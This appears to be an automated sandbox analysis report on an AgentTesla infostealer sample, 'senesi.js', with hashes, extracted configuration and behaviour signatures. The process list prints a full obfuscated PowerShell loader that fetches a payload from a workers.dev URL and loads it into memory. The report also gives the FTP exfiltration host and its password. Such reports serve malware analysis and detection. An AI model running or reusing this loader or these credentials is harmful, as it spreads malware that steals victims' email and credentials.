Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/09/2026, 11:45
Static task
static1
Behavioral task
behavioral1
Sample
senesi.js
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
senesi.js
Resource
win11ltsc2024-20260709-en
General
- Target senesi.js
- Size 483KB
- Sample260908-nw71bszalg
- SHA256 5c0161339106631d2dd1c7473ecb9fd21a625af700d76c203cc08f4034f350f5
- MD5 f851fb7aab5a81e1aea9127841b1f513
- SHA1 1a5e2059311808f92b71cdde8c50aebda5a95cb4
- SHA512 74931e1351c7fdfdf3a41086de7d7630d003cb3544b400939b0056c49eecb3aaf5511f81f8c8568313eb52f00b4dd3e3fe73213e1a7f90ef131b2e26045c57c8
- SSDEEP 6144:2VTHfH1EC/ablL8vJR6tviIVwyJA9YEOuhbqez0aXdbkVSEZY+lstxHTydQqyibI:oF5
- TLSH T135B45AB1DAA34DAB4635193F071F76C2E36E53D65B180DA97EACC013D732708A0E16DA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
exe.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/redXw
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.hhautoinvestment.co.tz
-
Port
21
-
Username
-
Password
30w_}vG)a&65)HHG
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3840 5076 powershell.exe 89 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 3840 powershell.exe 6 3840 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe -
pid Process 3840 powershell.exe - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3840 set thread context of 2412 3840 powershell.exe 92 - Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3840 powershell.exe 3840 powershell.exe 2412 Caspol.exe 2412 Caspol.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3840 powershell.exe Token: SeDebugPrivilege 2412 Caspol.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3840 wrote to memory of 2412 3840 powershell.exe 92 PID 3840 wrote to memory of 2412 3840 powershell.exe 92 PID 3840 wrote to memory of 2412 3840 powershell.exe 92 PID 3840 wrote to memory of 2412 3840 powershell.exe 92 PID 3840 wrote to memory of 2412 3840 powershell.exe 92 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Caspol.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\senesi.js1⤵PID:4292
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$woletuvucehekihejimuyiyobogarapivonacajokezohukisetojisoxipoyufewumoqedoraracecozuqovasebapifimaqale=''https://lively-fog-af49.pablosoftwareplus.workers.dev/redXw''; $fogizuwewareyazeyadanuxeqofokezifulowometudayeremiwutasatunesarajatutiketisohomakevuyubulogifeyimenu = [System.Net.HttpWebRequest]::Create($woletuvucehekihejimuyiyobogarapivonacajokezohukisetojisoxipoyufewumoqedoraracecozuqovasebapifimaqale); $fogizuwewareyazeyadanuxeqofokezifulowometudayeremiwutasatunesarajatutiketisohomakevuyubulogifeyimenu.UserAgent = ''Mozilla/5.0''; $wegutoroxireguxajelazivezepupesoyojesebatajadosikegasizumopocubatejadusojesosekuxujudewunonugojaxizo = $fogizuwewareyazeyadanuxeqofokezifulowometudayeremiwutasatunesarajatutiketisohomakevuyubulogifeyimenu.GetResponse().GetResponseStream(); $cigiholiqopehedumijonuzodexalowucanufofikodawacoxesuhumorisuzajapiboxupanaferijeposexuyixucajocakosi = New-Object IO.StreamReader($wegutoroxireguxajelazivezepupesoyojesebatajadosikegasizumopocubatejadusojesosekuxujudewunonugojaxizo); $najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame = $cigiholiqopehedumijonuzodexalowucanufofikodawacoxesuhumorisuzajapiboxupanaferijeposexuyixucajocakosi.ReadtoEnd(); $qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza=''IN-''; $rareyoduporucuduwuvasalozinurifihomefafokogusofefabajujuyufoyukevikavijuripidujocodubudicehoyupoluvi=''-in1''; $pununaratusujamevivedogimirezamufezicukaqicuqetorujedonefijijorexupanubimukarupejoxotiwoxucajasewuzo=$najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame.IndexOf($qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza); $vuwuzuluhogehigejocokimituwogewavucifuqafawifebugidabeyapekisocinawenuvuzoqexarazutesubaqinetugapesu=$najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame.LastIndexOf($rareyoduporucuduwuvasalozinurifihomefafokogusofefabajujuyufoyukevikavijuripidujocodubudicehoyupoluvi); if($pununaratusujamevivedogimirezamufezicukaqicuqetorujedonefijijorexupanubimukarupejoxotiwoxucajasewuzo -eq -1 -or $vuwuzuluhogehigejocokimituwogewavucifuqafawifebugidabeyapekisocinawenuvuzoqexarazutesubaqinetugapesu -eq -1){return}; $wefecefuhayujezoviwobebokawenozizeyizebugarowabizobudilasejobisosojimajobakayokenaxiwiloboxezivulone=$pununaratusujamevivedogimirezamufezicukaqicuqetorujedonefijijorexupanubimukarupejoxotiwoxucajasewuzo+$qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza.Length; $bitihixaheyeqajupememahelabawubimabofibuvocoxudikijicetipayumoximokaxubutefilefegomogifikupinaqelevo=$najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame.Substring($najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame.IndexOf($qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza)+$qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza.Length, $vuwuzuluhogehigejocokimituwogewavucifuqafawifebugidabeyapekisocinawenuvuzoqexarazutesubaqinetugapesu-($najatogimokifodopexubejegukavoxekulucetukipomukacoyideriboxolafopoyanizuhujekoxebadapeqatajafayolame.IndexOf($qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza)+$qixoqajukubosucuwozuritowajujapanahinusihasozatujuraziyoleyorurotumicabepigiqizupuqalurogiqehizoviza.Length)); $toyidexoyamufeqoruxexihicejuferoquxagiyagejuliqononocikadiwogezicupumahacuqididafejuxuqogapujubomige=$bitihixaheyeqajupememahelabawubimabofibuvocoxudikijicetipayumoximokaxubutefilefegomogifikupinaqelevo.Replace(''*'',''A'').ToCharArray(); $sivutewocudakesutahihenudavaxafasusebipuduperofoxebifudomatugemafehajomugawejivageyovunopukazomavexo = -join $toyidexoyamufeqoruxexihicejuferoquxagiyagejuliqononocikadiwogezicupumahacuqididafejuxuqogapujubomige[($toyidexoyamufeqoruxexihicejuferoquxagiyagejuliqononocikadiwogezicupumahacuqididafejuxuqogapujubomige.Length - 1)..0]; $dovotupetokoyazayalikevaruhoxojitukafiluviduguyemosizuhocatugunonesodapakuyaqebopizijezocehodihohavi = [Type]::GetType(''System.Convert''); [byte[]]$kivaduyuteqicewiketesavejesewotayeqowotokasapegosoreditujotahifaqevuxaxixivezalevosiwupivisapomuguho = $dovotupetokoyazayalikevaruhoxojitukafiluviduguyemosizuhocatugunonesodapakuyaqebopizijezocehodihohavi.GetMethod(''FromBase64String'').Invoke($null, (, $sivutewocudakesutahihenudavaxafasusebipuduperofoxebifudomatugemafehajomugawejivageyovunopukazomavexo)); $zudojucowacafizadupejulogemuboducoqiwoluhuhirawujiyujopahicuhinuretewojivobimehukadapesiforekirumobi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $poduwiwowixajicoyedupuxeperuvufesabikeqasefuwotozewemarujovequtucitifaxaxikuvudawatomudinazelepiyeji=$zudojucowacafizadupejulogemuboducoqiwoluhuhirawujiyujopahicuhinuretewojivobimehukadapesiforekirumobi.Invoke([AppDomain]::CurrentDomain, (,$kivaduyuteqicewiketesavejesewotayeqowotokasapegosoreditujotahifaqevuxaxixivezalevosiwupivisapomuguho)); $bawihiveperayapabexiridumenebebaxeponagasodutudewufupoxecijawemoraxomavohoyuzokucekegejaxebexociguyo=(''kMsG0HEnQqSmJU+4W+Gc76KfXUnCkoJcM7SbcYTr9G/Pr5RTF1KxhqpgEI+edVvYrIxTLtP1zgOzOPWWSaeOtDuvCAvRz5QXEly3zxsnt2pghQXosEIiOpOreXrfjT03'','''',''a+k/40mc+qR57PnKW0LEngtx1nZ082a3TZG2jf7IaIPgXdKCCNVpMi6JEMnptYok'',''NZvMIshve+kHDPb1W8MkgnqpEG3ueQadvFrgSeoMBIg='',''F07FY/YAPcSL3HZJrWOzmFMHR2IggFipV2Knd98enGk='','''',''5oMqDI5INvInNdAde65X8Bp2/Vz5/OVpcODdA37MQB0='','''',''eXdyGWN+FrXzXcknMYRrjR+CFn4E5Mmx1bvU5sZeYjw='',''8X+7OLaXtNwhpkfwW7qBSkqHMcY2fk8A+fgzXC4m7UTtQfR+vFgRyHeb8Otxa/Mn'',''qbdIAcVWyRFem6y0lcaq8sP8Vkc1+gxvtanqo5sZgls='',''/Z/EmNAYmZcYqGLIjV9O2fcGB4CNX9fAli74Fdhn9rQ='',''BUSwBJSKF+VcahN0PsDU0G6TT98kD98fqD6NCERbkiE='','''',''gESaZE0LDfu5iz1zo+jh8oz3rxeqWuYkuO5saD7GZfA='',''o4yN4OWiiqR3G6gSDEEJDKMT/akiqR/5UMfGep+gWsI='','''','''',''''); try{ $hikamudogawodelarovuhabovusuyucegavayuxuwuvuxulepucoxudixavayewopiyemagenubodemohoqigucikutidejapuge=($poduwiwowixajicoyedupuxeperuvufesabikeqasefuwotozewemarujovequtucitifaxaxikuvudawatomudinazelepiyeji.GetTypes() | Where-Object Name -eq ''casa'' | Select-Object -First 1); $kicemanahutunuwicorititoyimokawusagonalulijicucamabidezesomocaciyanigiyahosivojanakubajarinecaxaqaja=($hikamudogawodelarovuhabovusuyucegavayuxuwuvuxulepucoxudixavayewopiyemagenubodemohoqigucikutidejapuge.GetMethods() | Where-Object Name -eq ''trailer'' | Select-Object -First 1); $kicemanahutunuwicorititoyimokawusagonalulijicucamabidezesomocaciyanigiyahosivojanakubajarinecaxaqaja.Invoke($null,[object[]]$bawihiveperayapabexiridumenebebaxeponagasodutudewufupoxecijawemoraxomavohoyuzokucekegejaxebexociguyo) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
PID:2412
-